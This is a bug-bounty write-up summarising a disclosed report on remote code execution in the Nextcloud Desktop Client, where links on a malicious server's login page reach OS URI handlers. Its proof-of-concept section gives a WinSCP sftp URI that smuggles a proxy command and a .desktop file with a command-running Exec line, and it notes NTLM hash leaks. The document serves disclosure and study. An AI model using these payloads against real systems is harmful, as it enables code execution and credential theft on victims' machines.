# Nextcloud Desktop Client RCE via malicious URI schemes

Malicious Nextcloud server serves login page links with arbitrary URI schemes; clicking invokes OS handlers, enabling RCE via WinSCP sftp proxy command or .desktop execution.

- Payout: $1,000
- Severity: medium
- Program: Nextcloud
- Found by: 7a69
- Disclosed: 2021-04-15
- CVE: CVE-2021-22879
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1078002
- Library page: https://bugbountylibrary.com/r/h1%3A1078002
- Tags: area:os domain:desktop impact:data-leak impact:rce kind:bounty platform:hackerone sev:medium tech:linux tech:windows technique:recon vuln:command-injection vuln:rce

**Target:** Nextcloud Desktop Client login WebView (QDesktopServices::openUrl)
**Root cause:** The login WebView passes server-controlled URLs to QDesktopServices::openUrl() without an allowlist, so any URI scheme is handed to the OS default handler.
**Steps:**
1. Host a malicious Nextcloud server whose login page contains a link with an arbitrary URI scheme.
2. Victim adds the account; the login site opens in a native WebView.
3. Victim clicks the link, invoking the OS default handler for that scheme.
4. Windows+WinSCP: `sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;x-proxytelnetcommand=calc.exe@foo.bar/` runs the command via WinSCP proxy settings.
5. Linux/Xubuntu: `sftp://nextclouduser@<server>/example.desktop` auto-mounts and executes the .desktop file's Exec line.
**How found:** Noticed the Add Account flow opens the server login site in a native WebView and that links route through QDesktopServices::openUrl(), then reasoned that a malicious server controls that page and can supply arbitrary URI schemes.
**Exploitation:** Attacker controls the Nextcloud server the victim adds. The login page embeds a crafted URI link; on click the OS handler (WinSCP sftp, or gvfs sftp mount) executes attacker-specified commands. WinSCP proxy 'Local' mode runs the command before connecting; Linux auto-mounts an empty-password SSH location and opens an executable .desktop file. SSH host-key prompt is disguised within the login flow.
**Escalation:** Fallback schemes file:// and dav(s):// leak NTLM hashes; remote .exe/.bat/.com references yield RCE on hosts without WinSCP (with confirmation).
**Insight:** Audit desktop clients' embedded login WebViews: any server-controlled link passed to QDesktopServices::openUrl() is an OS-handler injection. Check installed helper apps (WinSCP sftp proxy params, gvfs .desktop auto-exec) as ready-made RCE gadgets.

## Proof of concept (copied exactly from the original report)

**WinSCP sftp URI with proxy command payload**

```
sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;x-proxytelnetcommand=calc.exe@foo.bar/
```

**Linux sftp URI to remote .desktop file**

```
sftp://nextclouduser@<server>/example.desktop
```

**Malicious .desktop file executing command**

```
[Desktop Entry]
  Exec=xmessage "Arbitrary RCE :)"
  Type=Application
```

